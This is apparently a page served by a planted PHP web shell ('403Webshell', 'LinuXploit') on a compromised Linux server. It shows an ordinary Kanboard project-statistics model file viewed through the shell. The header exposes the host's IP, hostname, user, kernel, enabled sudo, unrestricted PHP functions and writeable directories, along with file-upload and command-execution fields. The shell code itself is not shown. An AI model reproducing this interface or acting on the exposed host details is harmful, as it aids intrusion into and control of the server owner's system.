403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.216.196
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/kanboard/app/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/kanboard/app/Model/ProjectDailyStatsModel.php
<?php

namespace Kanboard\Model;

use Kanboard\Core\Base;

/**
 * Project Daily Stats
 *
 * @package  Kanboard\Model
 * @author   Frederic Guillot
 */
class ProjectDailyStatsModel extends Base
{
    /**
     * SQL table name
     *
     * @var string
     */
    const TABLE = 'project_daily_stats';

    /**
     * Update daily totals for the project
     *
     * @access public
     * @param  integer    $project_id    Project id
     * @param  string     $date          Record date (YYYY-MM-DD)
     * @return boolean
     */
    public function updateTotals($project_id, $date)
    {
        $this->db->startTransaction();

        $lead_cycle_time = $this->averageLeadCycleTimeAnalytic->build($project_id);

        $this->db->table(self::TABLE)->eq('day', $date)->eq('project_id', $project_id)->remove();

        $this->db->table(self::TABLE)->insert(array(
            'day' => $date,
            'project_id' => $project_id,
            'avg_lead_time' => $lead_cycle_time['avg_lead_time'],
            'avg_cycle_time' => $lead_cycle_time['avg_cycle_time'],
        ));

        $this->db->closeTransaction();

        return true;
    }

    /**
     * Get raw metrics for the project within a data range
     *
     * @access public
     * @param  integer    $project_id    Project id
     * @param  string     $from          Start date (ISO format YYYY-MM-DD)
     * @param  string     $to            End date
     * @return array
     */
    public function getRawMetrics($project_id, $from, $to)
    {
        $metrics = $this->db->table(self::TABLE)
            ->columns('day', 'avg_lead_time', 'avg_cycle_time')
            ->eq('project_id', $project_id)
            ->gte('day', $from)
            ->lte('day', $to)
            ->asc('day')
            ->findAll();

        foreach ($metrics as &$metric) {
            $metric['avg_lead_time'] = (int) $metric['avg_lead_time'];
            $metric['avg_cycle_time'] = (int) $metric['avg_cycle_time'];
        }

        return $metrics;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit